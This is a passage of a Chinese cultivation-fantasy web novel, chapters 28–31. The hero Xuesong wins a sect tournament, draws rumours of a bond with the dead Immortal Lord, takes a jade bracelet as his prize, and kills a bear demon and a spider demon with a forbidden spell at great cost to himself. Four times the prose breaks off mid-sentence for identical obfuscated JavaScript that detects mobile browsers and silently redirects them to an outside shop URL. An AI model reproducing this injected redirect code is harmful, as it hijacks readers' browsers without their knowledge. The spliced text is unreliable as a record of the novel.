其他人连连点头,一脸赞同,一边注视着台上的战斗,一边就着法器讨论起来:“听说还有一种,黄阶极品法器,是金丹以下修为的修士,可能接触到的最好的东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631023|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,也不知道我们这辈子有没有运气看见一次。”
白刺猬好奇问:“为什么黄阶极品就是金丹以下修为可能接触到的最好的东西了?”
长青面不改色,注视着擂台回答:“因为极品比上中下都更难炼制出来,数量稀少,价格昂贵,修为在金丹以下,几乎见不到,但修为上去之后,更容易接触到好东西,黄阶极品不过如此,所以他们这么说。”
白刺猬忽然想到雪松的软猬甲,虽然他不太确定那东西的品阶,但如果是仙尊送的,那东西多半也不会品阶太低,就问:“那金丹以下的修士能不能用玄阶下品的灵器呢?”
“理论上是可以的,但实际上强行使用会爆体而亡,所以为了安全起见,大家一般不那么做,除非经过反复高强度锻炼,适应了,可是,何必冒这个风险?”长青摇了摇头。
白刺猬点了点头:“这倒也是。”仙尊应该不会送给雪松一种品阶高但是容易致死的东西,毕竟他们是朋友。
白雪转着手上的戒指,突然发动了寒冰地刺术,只见擂台霎时间布满了白雾,地上一根一根冒出刺来,追向雪松。
雪松使用了火灵根修士常用的火焰燃烧术,一剑挥出,火焰将满地的刺都融化成水,那些水在地上流动着,想要重新变回冰,但是颤抖了一阵,终究因为高温,不得不在地面消失掉。
紧接着,擂台上的雾气,也很快就被火焰的高温灼烧殆尽,显出一种有些扭曲,蒸腾的酷热夏季的严苛的热度来。
白雪已经在这个时候意识到,不管是比灵力储备还是修为,或者是攻击,他都不太比得上,恐怕要输。
他可以强行坚持下去,变成在雪松的擂台上坚持得最久的那一个,但是这没有什么意义,至少对他来说是的。
他得想个办法,尽快结束这一场战斗,那样或许有赢的机会,哪怕付出一些代价也在所不惜,毕竟他不是只代表自己。
在新生弟子宗门大比上失败,绝对会被家族注意到,之后能分配到的资源也会断崖下跌。
他的修为要是因此落后,很难重新再追上,哪怕他再次想办法得到相应的资源,时间终究是追不回来的。
他一咬牙,用起了曾经从书上见到过禁咒,理论上,宗门大比是不能伤及性命的,所以攻击性过高的咒语都会被禁止使用。
禁咒通常是以危害巨大闻名而后被禁止,这个时候也不该用,但只要用了能赢,哪怕名声不好,也总归是赢的,名声可以以后再争,这一次输了,那就是输了。
他用平生最快的速度念完了咒语,盯着雪松,将能量释放出去,期待这个咒语能够给他应有的效果,整个擂台在眨眼间被冰封。
雪松双腿被冰冻在擂台上,灵力运转晦涩,那些冰块还在往上,呼吸间到了他的腰,甚至还有继续加速的趋势,被上身的软猬甲挡了一挡。
28.第 28 章
软猬甲是被雪松穿在外套里面的,一般情况下,外面的人是看不见的,但软猬甲刚才抵挡了一波攻击,现在的存在感就异常强烈起来。
旁人或许不知道,但是同在擂台上的白雪,近距离看着雪松身上的冰雪在腰间顿了顿,就知道雪松外套里绝对有可以防御的灵器。
这种时候再定睛一看,白雪自然轻而易举发现了雪松的软猬甲,忍不住转了转自己的储物戒指,暗中掏出了一枚专用来毁坏他人灵器的飞镖,往前一掷。
飞镖冲着雪松身上的软猬甲就飞了过去。
雪松被冰雪硬控在原地无法动弹,自然也没有办法辗转腾挪,避开那枚冲着自己身上软猬甲飞来的飞镖,皱了皱眉,居然干脆撤销了身上的防护罩,就那么站在那,等着飞镖来扎。
台下的人都惊了一惊。
“他连防护罩都撤掉了,是想要认输吗?”
“如果不是,这不是自寻死路吗?”
“他怎么还能一意求死呢?这不是个比赛擂台吗?应该不是自杀现场才对啊?有什么天大的仇怨要在这儿,了结性命的?”
人们面面相觑,一时间都不知作何反应。
白刺猬比旁人更加紧张,双手握成拳头,交叠在身前,皱着眉头,想要帮忙,却又不知怎么帮起,忍不住向长青问:“您不着急?”
长青眉毛动了动,但面色仍然比他们平静许多回答:“不急,他死不了。”
飞镖已经扎到了雪松的身上,只听当的一声,仿佛坚硬的金属相撞,飞镖从雪松面前坠落下去,掉在了地上,晃了两下,眨眼间起了火,烧成了灰。
白雪猛然间瞪大眼,盯着地上已经变成灰尘的飞镖残骸,十分不可置信喃喃道:“只有玄阶灵器才能不受影响,反而使飞镖受到反噬!”
他往后退了两步,呆呆看着雪松,倒吸一口凉气:“你居然有玄阶灵器?你居然敢用?你居然穿在身上,还参加宗门大比?”
话音未落,地面上的冰雪想要强行冲向雪松的头颅,再一次遇到了软猬甲,双方相撞,软猬甲震碎了冰雪,雪松恢复了活动能力,盯着白雪,一剑向他斩了过去。
众人看出雪松身上一定有品级不低的法器,都有些惊讶。
“他怎么会有那样高阶的法器?”
“没听说宗门里谁最近送了高阶法器给新生弟子,也没听说他是哪个大家族的人,但他和仙尊如此相似,说不定和仙尊有什么不为人知的关系,那也许东西是仙尊送的,毕竟,以仙尊的修为,要送一个对新生弟子而言十分高阶的法器,不过是举手之劳。”
“若果然如此,仙尊当真算无遗策,连今日雪松会遭此劫都算出来了,给人提前准备好了防御法器——雪松不是不曾拜师吗?仙尊怎么会给他准备东西?难道他们是——”
众人面面相觑,倒吸一口凉气,忽然为自己意识到的东西心中一惊。
虽然从来没有听说过仙尊有个道侣,但既不是血缘,血缘长不了那么像,又不是师徒,师徒不可能没名没分,又不是转世,众所周知,仙尊根本没有转世,平白无故,仙尊怎么会对一个陌生人这样好?仙尊可没有像这样对待别人!那就只有一种可能了。
排除所有不可能之后剩下的唯一一种可能,哪怕再不可思议也是真相——雪松是仙尊的道侣!
所有人都像是被巨大的信息量突然之间炸懵了一样,陷入呆滞的停摆状态,双眼发直,一言不发,微微张嘴,震惊迷茫,再加一点隐隐约约的亲眼旁观秘密爆发的兴奋,表情相似到仿佛同一个罐头里捞出来的沙丁鱼。
至于长青,目不转睛注视着雪松,神色格外复杂。
他认出雪松身上穿着的那件软猬甲,是玄阶灵器,以雪松的修为,要驾驭这种等级的灵器,本来是勉强的,甚至必定要受伤。
但那件软猬甲上有雪松的灵魂印记,有灵魂印记,等于灵器认了主,雪松再要驾驭,自然毫不勉强,也不必受伤。
可是,以雪松的修为,那灵魂印记绝不可能是他自己打上去的,因为他根本做不到,那就是仙尊为他做的?
仙尊居然为他做到这个地步!
要知道,寻常人的灵魂印记都在灵魂深处,绝不可能轻易被人所知,若要强行探知,被探之人通常非死即伤,稍微好些也必定变为痴傻,不得恢复。
修仙之人的灵魂印记更是意识深处的秘密,修为低微之时,连自己也找不到的,何况是让别人在自己的识海深处找,那只会更加艰难!
由此可见,仙尊为雪松准备玄阶灵器,不过是表面上,旁人所能看见的,最简单的付出而已,实际上的心血,在于那个灵器上的雪松的灵魂印记。
哪怕是仙尊那样的修为,要把一个未曾修炼的灵魂的印记从灵魂深处提取出来,也是千难万难,非要细心谨慎不可。
更何况,灵魂印记也不是提取出来就完了,还得烙印在灵器上,使灵器认主,既不损毁灵器,也不损毁灵魂印记,是寻常人难以想象的费力又精细的事。
最重要的是,要获取他人的灵魂印记,必将深入到他人的灵魂深处,甚至不止一次,于修士而言,以自己的灵识进入他人灵魂,又称灵修——
顾名思义,灵魂意识上的修炼,与身体欢愉截然相反的另外一个方向,却有殊途同归的效果,通常是情意缠绵的道侣才会做的事。
因为灵魂是过于重要的东西,接触的刺激也太强,不是道侣,根本不可能有足够的信任相互触碰,更何况进入深处,还是反复。
难以想象,仙尊究竟进入雪松的灵魂多少次,雪松又有多么信任仙尊,才能留下那么完整的,好像雪松本人烙下的灵魂印记。
还有一件鲜为人知的事——
高阶修士的神识进入低阶修
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635796|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
士的灵魂之中,会在瞬间对其一切了如指掌,也就是说,仙尊若真进入过雪松的灵魂,早就对雪松的一切,知之甚深——
知道了一切,而仍然愿意深爱下去吗?仙尊爱雪松,当真爱到无怨无悔的地步?简直像海水倒流一样不可思议!
惊人的剑气和灼人的火焰同时爆发,擂台上的冰雪瞬息间消融殆尽,白雪大受震撼,防御慢了半拍,往后踉跄着退到了擂台边缘,撞到了擂台的防线,却还死抓着擂台的柱子,皱着眉头,苍白着脸色,咬着牙不肯松手,强行把自己拽了回来。
雪松看出他不可能自愿退出,重新向他补了一剑,他忽然间掏出一张符咒,瞬息间,念动咒语,使用了符咒,符咒在众人眼前,变作火焰燃烧,冲向了雪松。
雪松谨慎向后退了一步,开启了防护罩,但那符咒视防护罩为无物,猛然间往前一冲,冲到了雪松的额头上,雪松被这强烈的冲击力撞了一下,往后踉跄了一步。
与此同时,雪松的剑气冲到了白雪面前,白雪毫无防备,被撞得从擂台边缘翻下地去,砰的一声,四仰八叉摔在了地面上,因为拼尽全力,十分疲惫,身体又抽空了灵力,过于虚弱,当时就眼一翻,晕了过去。
毫无疑问,这一局仍然是雪松胜利了,但他看起来消耗太大,和之前轻松就赢下来的局面,完全不一样,额头上冒出冷汗,嘴唇苍白,虽然依旧站在擂台上,可呼吸已经不那么平稳了,似乎不太能坚持下去。
负责裁判的长老向他问:“你还要继续吗?”
“继续。”雪松毫不犹豫点了点头。
他可不愿意在宗门大比这件事上,花费更多的时间,能够一劳永逸,当然是最好的,至于疲惫,睡一觉就能恢复,要是不嫌麻烦,长时间的打坐,也可以达成一样的效果,他不觉得这是需要担忧的事。
裁判长老将信将疑:“那好。”
虽然雪松之前看起来很强,但现在比之前虚弱了许多,上一局又像是惨胜,消耗了许多精力和灵力,很多参加大比的以逸待劳的新生们,忽然跃跃欲试起来,觉得自己可以试一试,也许能赢。
他们一个接一个上去,一个接一个被打下来,没有一个坚持的时间有白雪长,哪怕他们上去的时候,完全是满血。
他们下来之后不由得感慨。
“雪松不愧是长老亲自引荐的人才,果然天赋卓绝!”
“我算是明白了,仙尊和雪松根本是同一种人,当初仙尊是如何独占鳌头的,如今雪松便要如何横扫千军,我等是争不过他的!”
“岂止啊!仙尊与雪松若果然是道侣关系,我们岂不是在与仙尊的道侣争夺新生大比的名次?如今我们也算发达了!以后出去可以说,我们也是和仙尊道侣切磋过的关系!四舍五,岂不是曾经挑战过仙尊,还全身而退?这可是了不起极了!”
“确实!确实!”
29.第 29 章
天色逐渐黑了下去,比赛终于结束,雪松得到了第一名。
宗主从座位上站起来,在众目睽睽之下走到他面前,将前三名的奖励放在他面前,任他挑选说:“恭喜你,新生大比的第一名,你有权从这三样东西里挑选其中一样作为奖励,拿走你最想要的那个东西吧。”
雪松的目光从面前的三样东西上,一一扫了过去,这三样东西分别是:一袋具有丰富灵气的数量颇多的灵石,一瓶可以提升结丹概率的聚丹药,一只看起来平平无奇的,没有任何特殊气息的玉镯。
他伸出手去,径直掠过了面前的灵石和丹药,毫不犹豫拿起了那只玉镯,在眼前看了看,就套在了自己的手腕上。
“你确定要这个了吗?”宗主挑了挑眉,向他确定问。
“就要这个。”雪松点了点头。
“你知道这是什么?”宗主看着他问。
“您可以告诉我,”雪松心中大概有数,但按理说,他不该知道,所以他问,“这是什么?”
“这是增益玉镯,本来有一对,但其中一只遗失了,只剩下这一只,”宗主顿了顿,“所能达到的增益效果从原本的百分之五十降到现在的百分之二十,虽然还是玄阶上品灵器,但实际上,只能发挥出玄阶下品的作用,对修士的修为要求也并没有降低。”
雪松若有所思,点了点头:“以我现在的修为,玄阶下品正合适,要是更高一些,那我得再突破才行。”
“突破不急在一时,”宗主嘴角抽了抽,感觉他在自己面前炫耀天赋,他从进宗门到现在,短短数月,就从练气弟子提升到筑基巅峰,要是换一个没有天赋的,这点修为提升已经够耗十年的,他不想着稳固,还要突破,也不知道在着什么急,“你真的要这个吗?平日里没有切磋战斗,这个镯子戴在手上,也不过是个稍微坚硬的装饰品罢了。更何况,你的修为虽然不低,但非要用这个镯子,也实属强行,恐怕有损经脉,容易自毁根基。”
雪松听得出来宗主的意思,仍然说:“我就要这个,除非,您改变主意,不打算把这东西给我了。”
“好吧,”宗主在心里深深叹了一口气,面上微笑着说,“这东西是你的了。”
雪松点了点头,转身离去。
“那个镯子看起来怎么有点眼熟呢?”长老若有所思,看着雪松离去的背影,挠了挠头,喃喃自语。
长青正要问,长老忽然想起来了,把手一拍对他说:“仙尊也曾经戴过那样的镯子,只是后来不戴了,也不知为什么。”
“那段时间发生了什么吗?”长青问。
“发生了什么?”长老想了想:“仙尊外出执行了一个任务,任务目的地有个习俗,青年男女,手腕上都戴一只镯子,表示未婚,要是两只手腕都戴镯子,就是不婚,要是两只手腕都不戴镯子,那就是已婚,据他们说,要是两个人走在大街上,镯子恰好能凑成一对,那就说明他们是上天注定的姻缘。”
长青听着听着神色逐渐诡异起来:“之前不取之后不取,偏偏过了那个任务之后取,仙尊该不会是听说了当地的习俗,又恰好在那个时间前后,与雪松结为了道侣,才把手上的镯子取下来的吧?不然怎么解释?时间点和地点都这样巧合?”
长老挑了挑眉,来了些兴趣说:“这也不是不可能,我们谁也不知道,仙尊与雪松是什么时候认识的,又是什么时候结为道侣的。
说不定他们就是那时候,暗中结为了道侣,又不想让别人知道,又不想让别人觉得还有机会,所以仙尊取了镯子,既可以暗示当地人,又可以讨道侣的欢心,一石二鸟。
不愧是仙尊!”
长青想了想:“一切都不过是我们的猜测,改天我去问一问他,大比已经结束,他休息一阵子,应该会继续出任务。
到时候我跟他一起,说不定他会经过仙尊曾经经过的任务地点,即使他不去,我也可以请他去。
到了地方,触景生情,也许他想起一些,我再问一问,究竟发生了什么,我们就能知道了。”
长青说完,点了点头,就要转身离开,长老睁了睁眼睛,连忙喊住了他:“别急着走,现在的雪松,跟从前那个与仙尊结为道侣的雪松,就算是同一个人,记忆上也必定是有所缺失的,不是因为转世,就是因为失忆,要是他想不起来呢?你非要问也问不出的。”
长青想了想,想到了办法,笑道:“这件事好办,不就是记忆缺失吗?要是因为转世,只要布置一个唤灵阵,他自然能想起前世记忆。
要是因为失忆,那就更好办了,给他一杯回忆水,不管他失去了什么记忆,只要没有被封印,或者被抢夺,总能想起来的。”
长老为他如此执着于找回雪松的记忆而打了个哆嗦,忍不住有些惊讶疑惑问:“你非要让他想起来干什么呢?
其实问一问就好了,他要是不记得,也算前尘尽忘,从前的事情就跟他不相干了,不必再把他牵扯进来。
他要是记得,却不想说,你也最好不要问,本来就和你没关系,你再追问下去,反而让他不高兴。
他要是记得,对你说了,你想知道的都知道了,又何必让他把不记得的想起来?谁知道是好是坏?万一是他自己要忘呢?”
“他要是真的什么都不记得也就算了,可他明明记得,一看就没有忘干净,从前的事不会和他不相干的。
就凭他那张脸,真要有人想向仙尊寻仇,找不到仙尊也会找他,他做不到和仙尊撇清关系,”长青摇了摇头,一脸无可奈何,十分平静回答道,“更何况,他要是不记得,我去问他,他也答不出什么,我需要他记得。
他可以选择不记得,大不了在回答了我的问题之后再忘掉,我想,忘掉不想记得的东西比想起不记得的东西,容易多了,他真要是一点也不想记得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640288|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不会有空在乎我的。”
长青顿了顿,又似笑非笑说:“事已至此,他要是什么都不记得,什么都不回答,我们就什么都不会知道,谁又能肯定,我们的猜测一定不是在污人清白呢?
哪怕是为了仙尊,也应该叫他想起来再问一问的。我想,假如仙尊还在,也不会希望我们胡乱猜测,毕竟,仙尊活着的时候,可是清清白白。”
长老想了想,觉得他说的有道理,无可奈何点头道:“那你,多少还是委婉一点,我怕雪松承受不住。”
如果雪松想起了仙尊活着的时候,他们之间关系有多么好,现在仙尊已经死了,雪松一定会伤心。
如果雪松想起了仙尊活着的时候,对他的不好,他一定会难过,再加上仙尊已经死了,不管他什么情绪,都绝对得不到仙尊的回应,只会更难过。
但或许是他这辈子注定有此一劫吧。如果他们什么都不问,猜测又有所偏差,那就真成了凭空污人清白,所以这也算是不得不问。
长老在心中叹了一口气,提前向雪松和仙尊告了歉。
长青明白长老的意思,点了点头,忍不住笑道:“我会尽可能委婉的,我又不想看见他难过,我对仙尊,也没什么可不满的。”
毕竟,死人已经死了,活人还要活下去。
长老点了点头,心情十分复杂:“你去吧。”
长青转身离开。
在洞府里休息了一天一夜,雪松领了第三个任务,准备出发的时候,长青跟了过来,笑眯眯对他说:“我跟你一起去。”
“你没什么别的事情要做吗?”雪松忽然有点疑惑。
“有啊,”长青耸了耸肩,“但是我不是很想去,所以我过来找你了。”
雪松点了点头,将信将疑:“你真要跟我去?去做什么?”
长青笑眯眯说:“看看你怎么完成任务,顺便看看你完成任务之后有没有时间,你之前答应了要和我一起去东海,看三生幻境石的。”
雪松想起有这么一回事,点了点头:“有时间可以完成这个任务之后去,没时间还是等下次吧?”
“好啊,”长青微笑着说,“我不着急。”
雪松信了他的话:“那就好。”
好巧不巧,雪松第三个任务的任务地点,又是一个仙尊曾经去过的地方,同时这里也是长老提起的拥有关于镯子习俗的地方,仙尊也正是在这里完成了任务之后,就把手上的镯子取了。
说起来,没人知道,仙尊把取下来的镯子放在哪了,长青走在街道上,不由自主往身边看了一眼。
他有一种预感,也许雪松能找到那只镯子,和手腕上的新生弟子大比第一名奖励,凑成一对。
两只镯子很可能是同一种款式,甚至,本来就是一对。
“你看什么?”雪松感到疑惑。
“任务是什么?”长青问。
30.第 30 章
“山上有只黑熊精,”雪松一边往前走,一边随意扫了一眼不远处路边摊子上的镯子,回答,“杀了就算完成任务。”
长青若有所思,点了点头:“那我跟你一起去还是?”
“你可以不跟我一起去,”雪松看了他一眼,知道他来并不是为了做任务,对他没有任何要求,无所谓说,“我一个人也办得成。”
“那只黑熊精的修为怎么样?”长青掏钱买了一只热乎乎的烫烫的肉馅饼,又往前走了两步,跟上他问。
“比我低一些,”雪松想了想,宗门给出的信息里,那只黑熊精是筑基巅峰修为,但是迟迟突破不了金丹,而他用不了多久就可以突破,可见他的修为确实比那只黑熊精要强些,他并没说错,只是若真要细说起来,长青一定不放心,说不定非要跟他去,有些事他反而会束手束脚,还不如含糊些,对长青十分平静说,“不用担心。”
长青将信将疑点了点头,他本身就是顺路来的,来之前,没有仔细看任务信息,此时听雪松这么一说,觉得仿佛是这么一回事,又不太记得清楚,就想了想问:“真不用我跟你一起去吗?”
“不用。”雪松毫不犹豫斩钉截铁回答。
长青听他态度这样坚决,并不想惹恼他,点了点头,十分顺从道:“我明白了,那你自己去,我在这边等你回来。”
雪松点了点头,本来还想休息休息再走,但是,不希望听长青改变主意,打算尽快把事情解决,也就立刻寻找黑熊精去了。
他去的时候不太巧,黑熊精正在家里款待宾客,那个宾客是只庞大的蜘蛛精,已经化形完全,修为比蜘蛛精还高一些,前不久才入了金丹,只稍稍稳固了一两天,就立刻应邀过来,双方相谈甚欢。
他不太确定自己能一挑二,尤其是对面有一个修为比自己高的,犹豫了一下,找了个地方藏起来,隐匿了气息,想看看那只蜘蛛精什么时候走。
随后他就听见,黑熊精对蜘蛛精说:“你这次,真是来对了,我前些天刚抓了十来个村子里的人,打算慢慢吃的,或煎或煮或炸,味道一定不错,既然你入了金丹,那今天咱们也涮两个人吃吃,算是庆祝,你觉得怎么样?”
“好啊好啊,”蜘蛛精笑眯眯点了点头,扯了扯衣服,托了托肚子,拍着胸脯说,“实不相瞒,我这次带了一大堆小子来呢。”
“都在你肚子里?”黑熊精挑了挑眉,把目光落在蜘蛛精凸起的腹部,若有所思问:“你打算一起吃?要油炸吗?我准备了很多油。”
“油炸一半吧,”蜘蛛精想了想,站起身来,扯了扯衣服,只听哗啦一声,地面上立刻湿了一块,紧接着,噼里啪啦的声音响了起来,一大堆蜘蛛卵落在地上,眨眼间孵化了,许许多多的黑色小蜘蛛从里面爬了出来,在地上乱走,蜘蛛精捡了一只吃掉,咔嚓咔嚓响,重新坐回去说,“你随便挑,剩下的我带回去。”
黑熊精点了点头,掏出一个口袋来,一巴掌抓了大把的小黑蜘蛛,塞进口袋里,捏住口袋,在手心里晃了晃,觉得差不多了,就说:“那我去油炸?你在这等我?”
蜘蛛精点了点头:“去吧,我等着你把油炸好的人和小蜘蛛都端回来。”
黑熊精提着口袋走了,雪松觉得这是个机会,跟了上去,看见黑熊精提着口袋进了厨房,站在门口往里一望,看见厨房角落里密密麻麻捆着人,那些人都闭着眼睛歪着头,或是靠墙或是躺在地上,一副任人宰割的样子。
黑熊精点了火,架起油锅,金灿灿的油在黑漆漆的锅里逐渐冒烟,黑熊精打开口袋,把小蜘蛛全都抖了进去。
小蜘蛛发出噼里啪啦的响声,在油锅里挣扎着,很快浑身冒泡变作金黄色,并且缩水,小了不少,肢体颤了颤,逐渐失去活力。
黑熊精把口袋揉成一团,往旁边角落一丢,就转身去看捆着的人,打算挑一个来油炸,还没有想好,就看见一个人睁开了眼睛,觉得这个人这么新鲜,吃起来应该不错,就伸出手去,要把人倒吊放血。
那个人却忽然盯着他的身后,瞪大了眼睛,他心里觉得疑惑,同时察觉到背后一股凌厉的剑意向他的脖子袭了过来,猛然一惊,立刻施展了瞬移术,躲了开去。
雪松偷袭不成十分可惜,摇了摇头,但他也知道时间不多,如果黑熊精把蜘蛛精呼唤过来,再加上那一堆的小蜘蛛,他很难保全这里的其他人,毕竟他的修为还没高到,可以碾压的地步。
这也正是他非要迅速提升修为的原因。
他毫不犹豫提剑追上了黑熊精,黑熊精反应过来,下意识要跑,他干脆把剑往前一丢,凌厉的剑意带着锋利的剑尖冲向黑熊精。
黑熊精大惊失色,猛然加速,又往外冲了一截,但就在这个时候,他发现那把剑虽然来势汹汹,却并不是他不可以抵抗的。
他停住了脚步,开始防御,同时转过身来,仔细打量起雪松,眯了眯眼睛,发现雪松的修为和自己差不多,脸上不受控制嗤笑了一声,心中涌起滔天怒火,一边向雪松走去,一边毫不犹豫喝骂道:“你这贼子,偷鸡摸狗不成,还想谋财害命?险些真见你得意!我可不是好招惹的!”
他说着撸起袖子,瞪着眼睛一咬牙,浑身上下的皮肤都爆出浓密坚硬的毛,显出本来的样子,赫然是一头身强力壮而且巨大的熊。
雪松倒并不怕他现出原形,但也知道他现出原形之后,攻击力和防御力都绝对会比人形的时候更加强,毕竟是本相,提起了警惕。
黑熊精开始横冲直撞,四面八方砰砰乱响,房子似乎摇摇欲坠,地面上腾起灰尘,雪松隐约能听见不远处的蜘蛛精正在赶来。
他意识到不能再拖了,如果不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646303|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在蜘蛛精赶来之前解决黑熊精,那他就得被这两妖精围攻致死了。
他在脑内思索一番,找到了一个威力巨大的绝对禁术,站在原地,目光锁定了黑熊精,开始念咒,语速飞快,运转全身灵力,力求用最短时间达到最大效果。
空气中的灵气躁动起来,受到牵引,环绕在雪松身侧,近乎沸腾,这样剧烈的波动,给正在赶来的蜘蛛精指引了道路。
蜘蛛精顺着灵气波动见到了他们,立刻打通了厨房的墙,当着雪松的面,掐着人质的脖子对他吼道:“停下来!”
哪怕不等结果,蜘蛛精也看得出来,如果雪松这个禁术真当着他们的面释放成了,他们必死无疑。
至于人质会不会受到波及,他们不了解雪松究竟用的是什么禁术,还真不好确定,假如雪松冒着人质全死的风险也要搞死他们,那他们就是真栽了。
现在只能赌一把了。希望这个修士还不敢冒着杀死所有人质的风险来处理他们。那他们还有侥幸活下去的机会。
蜘蛛精把人质抵在墙上,人质的脸上涨得通红,蹬了两下腿,眼看着就要失去气息,雪松止住了咒语的念诵,脸色惨白,用一种神经质的疯狂至极的神色,对他们微笑:“别杀人,我停下来就是了。”
蜘蛛精松了一口气,和黑熊精对视一眼,毫不犹豫向黑熊精一扬头,示意趁此机会解决了雪松这个危险源头。
黑熊精点了一点头,向着雪松冲了过去,出的是必死的杀招,同时,蜘蛛精瞪着眼睛盯着雪松喝道:“不许动!你敢动一下,我就杀一个人!”
雪松微笑着点了点头站在原地,注视着他们,好像真的放弃了抵抗,但蜘蛛精总觉得不对,看着雪松脸上的笑,感到一种危机即将来临的毛骨悚然。
就是这时候,蜘蛛精忽然意识到,如果雪松不是个疯子,不会在死前还笑得这样猖狂,雪松停下咒语的念诵,不是因为怕了他们,也不是为了人质,只是咒语念完了而已。
蜘蛛精瞪大了眼睛,丢掉人质,砸向雪松,转身就逃,同时对黑熊精喊道:“跑!”
但是来不及了。
这点时间,已经足够禁咒完全释放。恰好他们之前站在原地,非常方便雪松锁定,现在跑,也不过是死得更惨一点而已。
黑熊精愣了一下,蜘蛛精的话音未落,就突然跪倒在地上,往外吐了一口血,脸色惨白,张着嘴,浑身颤抖着,发出含糊不清的气音,每一个关节和骨头都扭曲,好像被一只无形的手,揉成了一团,吧嗒一声变成血呲呼啦的肉酱,落在了地面上,渐渐融化。
黑熊精的反应更剧烈一点,但同样什么声音都没来得及发出,就变作一团肉酱落在地上,被风一吹,瞬息消失。
雪松松了一口气,接住了被丢过来的人质,往后踉跄了两步,轻轻把人放下。
31.第 31 章
人质已经在刚才的激烈战斗中,受到重度惊吓而昏迷过去,躺在地上一动不动,脸色惨白,就好像已经死了。
雪松看了人一眼,确认还有气息,就找了个位置坐了下来,强行使用禁咒的后遗症开始发作。
他刚坐下来就吐了一口血,感觉到身体里的经脉一寸一寸,正在干涸断裂,灵力因为过度抽取而空空如也,一种不容置疑的疼痛,正在缓缓蔓延开来,弥漫到身体的每一个部位,以至于他不由自主颤抖起来。
与此同时,他的头发一点一点变白了,这是灵力过度使用而衰败的象征,他要是想用幻术遮掩,大约也能看起来和之前一样,但他现在没有使用幻术的能力了。
他闭上眼睛,靠着墙,一边调整呼吸,一边努力平复此时因身体破败而不断涌现出来的各种各样的,零碎的回忆导致的情绪波动。
玉镯镇,正在刚找来的小院里布置阵法的长青忽然顿住,察觉到一股诡异的从远处蔓延而来的灵力波动,缓缓抬起头来。
他隐约能从灵力波动中察觉到熟悉的气息,辨认了一番,确认是雪松的灵力,但仔细探查,又觉得和平时不像,以至于不能确认身份,在原地犹豫起来。
如果是雪松,气息怎么混杂起来了?如果不是雪松,那这灵力波动是谁干的?在干什么?怎么仿佛像是禁咒波及出来的结果?
雪松会用禁咒吗?不管是在擂台上,还是幻境里,又或者是新生试炼地,都没见他用过,应该不会吧?否则为什么不用?
如果会,从哪里学来的?仙尊下来的那座山上可没有什么图书馆,更没有什么隐士高人,又没有书看,又没有人教,禁咒那种东西,可不是走在路上随便就能知道的。
平时联系长老的徽章忽然震动起来,长青将徽章拿在手里,就听见长老对他大声道:“快去找雪松!他的魂灯正在闪烁!他要死了!”
长青猛然一惊,顾不得询问其他,抓住徽章就冲了出去,在门外辨认了一下方向,一边使用气息辨别术,一边跟着辨别出来的雪松的气息追踪而去,眨眼之间,来到了黑熊精的洞府。
门口安安静静,甚至称得上冷清,里面传出一股浓重的血腥味,像是刚刚发生了什么极其糟糕的事情。
长青深吸一口气,不敢想象发生了什么,用更快的速度冲了进去,下一刻,他在里面找到了闭目沉默的雪松。
毫无疑问,雪松在来之前还是黑发,现在已经是白发了,长青停在不远处,瞪大眼睛倒吸一口凉气,几乎不敢上前去。
雪松现在看起来太像一个死人了,以至于长青有一种恍惚感,好像看见多年以前的仙尊意外死亡的景象,这更使他顿在原地,仿佛完全僵住了。
长老发现他不动了,又急又无可奈何,隔着徽章对他大喊道:“你还在等什么?也许人还没有死!再等下去,真死了也说不定啊!还不快救人?去呀你!”
他回过神来,小心翼翼往前靠近,好像对面不是他认识的人,而是一具被伪装过的随时会跳起来的尸体,走到了雪松面前。
他深吸一口气,颤抖着伸出手去,脸色惨白,探查了一下雪松的气息,发现人还活着,顿时放松下来,险些跌坐在地上。
长老不在现场也能看见情况,心里知道长青独自一人面对仿佛死去的雪松会受到多大的冲击,提醒着喊道:“既然活着,快想办法救人!”
